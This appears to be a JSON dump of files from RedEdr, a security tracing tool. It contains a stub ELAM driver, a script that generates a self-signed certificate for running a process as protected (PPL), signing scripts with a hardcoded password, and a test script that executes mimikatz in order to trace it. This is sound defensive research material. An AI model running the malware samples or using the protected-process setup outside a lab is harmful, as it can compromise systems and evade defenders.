    "content": "#include <ntddk.h>\n#include <wdf.h>\n#include <windowsx.h>\n\nDRIVER_INITIALIZE DriverEntry;\n\n#ifdef ALLOC_PRAGMA\n#pragma alloc_text(INIT, DriverEntry)\n#endif // ALLOC_PRAGMA\n\nNTSTATUS\nDriverEntry(\n    _In_ PDRIVER_OBJECT  DriverObject,\n    _In_ PUNICODE_STRING RegistryPath\n)\n{\n    // We don't need our driver to do anything\n    UNREFERENCED_PARAMETER(DriverObject);\n    UNREFERENCED_PARAMETER(RegistryPath);\n    DbgPrint(\"[PPL_RUNNER] DriverEntry\\n\");\n\n    return STATUS_SUCCESS;\n}\n"
  },
  {
    "path": "elam_driver/elam_driver.rc",
    "content": "#include <windows.h>\n#include <ntverp.h>\n\n#define VER_FILETYPE             VFT_DRV\n#define VER_FILESUBTYPE          VFT2_DRV_SYSTEM\n#define VER_FILEDESCRIPTION_STR  \"ppl_runner Driver\"\n#define VER_INTERNALNAME_STR     \"elam_driver.sys\"\n\n#include \"common.ver\"\nMicrosoftElamCertificateInfo  MSElamCertInfoID\n{\n      1,\n      L\"A7EBFCFB9E0CD724DEE51F980728B12FF911F72006618DFF6F96FF4111CE3758\\0\",\n      0x800C,\n      L\"\\0\"\n}\n"
  },
  {
    "path": "elam_driver/elam_driver.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}</ProjectGuid>\n    <RootNamespace>$(MSBuildProjectName)</RootNamespace>\n    <KMDF_VERSION_MAJOR>1</KMDF_VERSION_MAJOR>\n    <Configuration Condition=\"'$(Configuration)' == ''\">Debug</Configuration>\n    <Platform Condition=\"'$(Platform)' == ''\">Win32</Platform>\n    <SampleGuid>{015D536C-9F60-4228-AD44-42A90A1AD014}</SampleGuid>\n    <ProjectName>elam_driver</ProjectName>\n    <WindowsTargetPlatformVersion>$(LatestTargetPlatformVersion)</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Label=\"Configuration\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>False</UseDebugLibraries>\n    <DriverTargetPlatform>Desktop</DriverTargetPlatform>\n    <DriverType>KMDF</DriverType>\n    <PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>\n    <ConfigurationType>Driver</ConfigurationType>\n    <Driver_SpectreMitigation>false</Driver_SpectreMitigation>\n  </PropertyGroup>\n  <PropertyGroup Label=\"Configuration\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <TargetVersion>Windows10</TargetVersion>\n    <UseDebugLibraries>True</UseDebugLibraries>\n    <DriverTargetPlatform>Desktop</DriverTargetPlatform>\n    <DriverType>KMDF</DriverType>\n    <PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>\n    <ConfigurationType>Driver</ConfigurationType>\n    <Driver_SpectreMitigation>false</Driver_SpectreMitigation>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <PropertyGroup>\n    <OutDir>$(SolutionDir)bin\\$(Platform)\\$(Configuration)\\</OutDir>\n  </PropertyGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" />\n  </ImportGroup>\n  <ItemGroup Label=\"WrappedTaskItems\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <IntDir>$(Platform)\\$(Configuration)\\</IntDir>\n    <TargetName>$(ProjectName)</TargetName>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <IntDir>$(Platform)\\$(Configuration)\\</IntDir>\n    <TargetName>$(ProjectName)</TargetName>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <TreatWarningAsError>true</TreatWarningAsError>\n      <WarningLevel>Level4</WarningLevel>\n      <ExceptionHandling>\n      </ExceptionHandling>\n    </ClCompile>\n    <DriverSign>\n      <FileDigestAlgorithm>SHA256</FileDigestAlgorithm>\n    </DriverSign>\n    <PostBuildEvent>\n      <Command>powershell -ep bypass -f \"$(SolutionDir)sign_file.ps1\" \"$(SolutionDir)rededr_ppl.pfx\" \"$(TargetDir)$(TargetFileName)\"\ncopy \"$(TargetDir)$(TargetFileName)\" C:\\RedEdr</Command>\n    </PostBuildEvent>\n    <PostBuildEvent>\n      <Message>Sign</Message>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <TreatWarningAsError>true</TreatWarningAsError>\n      <WarningLevel>Level4</WarningLevel>\n      <ExceptionHandling>\n      </ExceptionHandling>\n    </ClCompile>\n    <DriverSign>\n      <FileDigestAlgorithm>SHA256</FileDigestAlgorithm>\n    </DriverSign>\n    <PostBuildEvent>\n      <Command>powershell -ep bypass -f \"$(SolutionDir)sign_file.ps1\" \"$(SolutionDir)rededr_ppl.pfx\" \"$(TargetDir)$(TargetFileName)\"\ncopy \"$(TargetDir)$(TargetFileName)\" C:\\RedEdr</Command>\n    </PostBuildEvent>\n    <PostBuildEvent>\n      <Message>Sign</Message>\n    </PostBuildEvent>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"elam_driver.c\" />\n    <ResourceCompile Include=\"elam_driver.rc\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Inf Exclude=\"@(Inf)\" Include=\"*.inf\" />\n    <FilesToPackage Include=\"$(TargetPath)\" Condition=\"'$(ConfigurationType)'=='Driver' or '$(ConfigurationType)'=='DynamicLibrary'\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Exclude=\"@(None)\" Include=\"*.txt;*.htm;*.html\" />\n    <None Exclude=\"@(None)\" Include=\"*.ico;*.cur;*.bmp;*.dlg;*.rct;*.gif;*.jpg;*.jpeg;*.wav;*.jpe;*.tiff;*.tif;*.png;*.rc2\" />\n    <None Exclude=\"@(None)\" Include=\"*.def;*.bat;*.hpj;*.asmx\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n</Project>"
  },
  {
    "path": "elam_driver/elam_driver.vcxproj.Filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx;*</Extensions>\n      <UniqueIdentifier>{00E51A05-37B6-4ADF-8287-9A1E383D471E}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>\n      <UniqueIdentifier>{60767E85-74A5-45F0-8193-CE3A252910F0}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms;man;xml</Extensions>\n      <UniqueIdentifier>{84579BC5-14A3-4B25-870C-590B67752AFC}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Driver Files\">\n      <Extensions>inf;inv;inx;mof;mc;</Extensions>\n      <UniqueIdentifier>{0ACF3248-3C68-463F-8976-4323BC0957D6}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"elam_driver.rc\">\n      <Filter>Resource Files</Filter>\n    </ResourceCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"elam_driver.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "generate_cert.ps1",
    "content": "$password = \"password\"\n\n# This is very, very graciouslly taken from Matt G!\n# https://gist.github.com/mattifestation/660d7e17e43e8f32c38d820115274d2e\nfilter Get-TBSHash {\n    [OutputType([String])]\n    param (\n        [Parameter(Mandatory, ValueFromPipeline)]\n        [Security.Cryptography.X509Certificates.X509Certificate2]\n        $Certificate\n    )\n\n    Add-Type -TypeDefinition @'\n    using System;\n    using System.Runtime.InteropServices;\n    namespace Crypto {\n        public struct CRYPT_DATA_BLOB\n        {\n            public uint cbData;\n            public IntPtr pbData;\n        }\n        public struct CRYPT_OBJID_BLOB\n        {\n            public uint cbData;\n            public IntPtr pbData;\n        }\n        public struct CRYPT_ALGORITHM_IDENTIFIER\n        {\n            public string pszObjId;\n            public CRYPT_OBJID_BLOB Parameters;\n        }\n        public struct CRYPT_BIT_BLOB\n        {\n            public uint cbData;\n            public IntPtr pbData;\n            public uint cUnusedBits;\n        }\n        public struct CERT_SIGNED_CONTENT_INFO\n        {\n            public CRYPT_DATA_BLOB ToBeSigned;\n            public CRYPT_ALGORITHM_IDENTIFIER SignatureAlgorithm;\n            public CRYPT_BIT_BLOB Signature;\n        }\n        public class NativeMethods {\n            [DllImport(\"crypt32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n            public static extern bool CryptDecodeObject(uint dwCertEncodingType, IntPtr lpszStructType, [In] byte[] pbEncoded, uint cbEncoded, uint dwFlags, [Out] IntPtr pvStructInto, ref uint pcbStructInfo);\n        }\n    }\n'@\n\n    $HashOIDs = @{\n        '1.2.840.113549.1.1.4' = 'MD5'\n        '1.2.840.113549.1.1.5' = 'SHA1'\n        '1.3.14.3.2.29' = 'SHA1'\n        '1.2.840.113549.1.1.11' = 'SHA256'\n        '1.2.840.113549.1.1.12' = 'SHA384'\n        '1.2.840.113549.1.1.13' = 'SHA512'\n    }\n\n    $CertBytes = $Certificate.RawData\n\n    $X509_PKCS7_ENCODING = 65537\n    $X509_CERT = 1\n    $CRYPT_DECODE_TO_BE_SIGNED_FLAG = 2\n    $ErrorMoreData = 234\n\n    $TBSData = [IntPtr]::Zero\n    [UInt32] $TBSDataSize = 0\n\n    $Success = [Crypto.NativeMethods]::CryptDecodeObject(\n        $X509_PKCS7_ENCODING,\n        [IntPtr] $X509_CERT,\n        $CertBytes,\n        $CertBytes.Length,\n        $CRYPT_DECODE_TO_BE_SIGNED_FLAG,\n        $TBSData,\n        [ref] $TBSDataSize\n    ); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()\n\n    if((-not $Success) -and ($LastError -ne $ErrorMoreData)) \n    {\n        throw \"[CryptDecodeObject] Error: $(([ComponentModel.Win32Exception] $LastError).Message)\"\n    }\n\n    $TBSData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TBSDataSize)\n\n    $Success = [Crypto.NativeMethods]::CryptDecodeObject(\n        $X509_PKCS7_ENCODING,\n        [IntPtr] $X509_CERT,\n        $CertBytes,\n        $CertBytes.Length,\n        $CRYPT_DECODE_TO_BE_SIGNED_FLAG,\n        $TBSData,\n        [ref] $TBSDataSize\n    ); $LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()\n\n    if((-not $Success)) \n    {\n        throw \"[CryptDecodeObject] Error: $(([ComponentModel.Win32Exception] $LastError).Message)\"\n    }\n\n    $SignedContentInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TBSData, [Type][Crypto.CERT_SIGNED_CONTENT_INFO])\n\n    $TBSBytes = New-Object Byte[]($SignedContentInfo.ToBeSigned.cbData)\n    [Runtime.InteropServices.Marshal]::Copy($SignedContentInfo.ToBeSigned.pbData, $TBSBytes, 0, $TBSBytes.Length)\n\n    [Runtime.InteropServices.Marshal]::FreeHGlobal($TBSData)\n\n    $HashAlgorithmStr = $HashOIDs[$SignedContentInfo.SignatureAlgorithm.pszObjId]\n\n    if (-not $HashAlgorithmStr) { throw 'Hash algorithm is not supported or it could not be retrieved.' }\n\n    $HashAlgorithm = [Security.Cryptography.HashAlgorithm]::Create($HashAlgorithmStr)\n\n    $TBSHashBytes = $HashAlgorithm.ComputeHash($TBSBytes)\n\n    ($TBSHashBytes | % { $_.ToString('X2') }) -join ''\n}\n\n# Generate new Certificate\n$certFolder = \"Cert:\\CurrentUser\\My\"\n$cert = New-SelfSignedCertificate -certstorelocation $certFolder -HashAlgorithm SHA256 -NotAfter (Get-Date).AddYears(5) -Subject \"CN=ppl_runner\" -TextExtension @(\"2.5.29.37={text}1.3.6.1.4.1.311.61.4.1,1.3.6.1.5.5.7.3.3\")\n$certLocation = \"$certFolder\\\"+$cert.Thumbprint\n# Use the awesome 'Get-TBSHash' from above\n$hash = Get-TBSHash $cert\n\n# Write Hash to update in resource\nWrite-Host \"SHA256 Hash: $hash\"\n\n# Export from store using the password\n$passwordSecure = ConvertTo-SecureString -String $password -Force -AsPlainText\n$outputFilename = \"rededr_ppl.pfx\"\nExport-PfxCertificate -cert $cert -FilePath $outputFilename -Password $passwordSecure\n\n# Delete Certificate from store\nRemove-Item $certLocation\n$cert = $null\n\n# Update Driver Resource with hash\nWrite-Output @\"\n#include <windows.h>\n#include <ntverp.h>\n\n#define VER_FILETYPE             VFT_DRV\n#define VER_FILESUBTYPE          VFT2_DRV_SYSTEM\n#define VER_FILEDESCRIPTION_STR  \"ppl_runner Driver\"\n#define VER_INTERNALNAME_STR     \"elam_driver.sys\"\n\n#include \"common.ver\"\nMicrosoftElamCertificateInfo  MSElamCertInfoID\n{\n      1,\n      L\"$hash\\0\",\n      0x800C,\n      L\"\\0\"\n}\n\"@ | Set-Content -Path \".\\elam_driver\\elam_driver.rc\"\nWrite-Host \"Written Cert and key to $outputFilename\"\n"
  },
  {
    "path": "rededr_test.ps1",
    "content": "# RedEdr Test Script\n# Starts RedEdr, traces procexp64.exe, then cleans up\n\n$rededrPath = \"C:\\RedEdr\\RedEdr.exe\"\n#$targetPath = \"D:\\toolz\\procexp64.exe\"\n$targetPath = \"D:\\hacking\\some_malware\\mimikatz.exe\"\n#$targetPath = \"D:\\hacking\\malware\\cs2025-stageless.exe\"\n$webserverUrl = \"http://localhost:8081\"\n\n# Start RedEdr in the background\n#Write-Host \"Starting RedEdr...\"\n#$rededrProcess = Start-Process -FilePath $rededrPath -PassThru\n\n# Wait for the webserver to be ready\n#Write-Host \"Waiting for webserver to start...\"\n#Start-Sleep -Seconds 3\n\n# Call /api/trace/start to start tracing\n# Extract filename without path from targetPath\n$targetFilename = [System.IO.Path]::GetFileName($targetPath)\nWrite-Host \"Starting trace for $targetFilename...\"\n$traceBody = @{\n    trace = @($targetFilename)\n} | ConvertTo-Json\n\ntry {\n    Invoke-RestMethod -Uri \"$webserverUrl/api/trace/start\" -Method Post -Body $traceBody -ContentType \"application/json\"\n    Write-Host \"Trace started successfully\"\n} catch {\n    Write-Host \"Failed to start trace: $_\"\n}\n\n# Start target executable and wait for it to exit\nWrite-Host \"Starting $targetFilename...\"\n$procexpProcess = Start-Process -FilePath $targetPath -PassThru\nWrite-Host \"$targetFilename PID: $($procexpProcess.Id) (0x$($procexpProcess.Id.ToString('X')))\"\n$procexpProcess | Wait-Process\n\n# Call /api/trace/reset to reset the trace\nWrite-Host \"Resetting trace...\"\ntry {\n    Invoke-RestMethod -Uri \"$webserverUrl/api/trace/stop\" -Method Post\n    Write-Host \"Trace reset successfully\"\n} catch {\n    Write-Host \"Failed to reset trace: $_\"\n}\n\n# Kill RedEdr\n#Write-Host \"Stopping RedEdr...\"\n#if ($rededrProcess -and !$rededrProcess.HasExited) {\n#    Stop-Process -Id $rededrProcess.Id -Force\n#    Write-Host \"RedEdr stopped\"\n#} else {\n#    Write-Host \"RedEdr process already exited\"\n#}\n\n"
  },
  {
    "path": "sign_file.ps1",
    "content": "# Change this:\n$password = \"password\"\n\n\n# signtool.exe sign /fd SHA256 /a /v /ph /f $args[0] /p $password $args[1]\nsigntool.exe sign /fd SHA256 /a /ph /f $args[0] /p $password $args[1]\n"
  }
]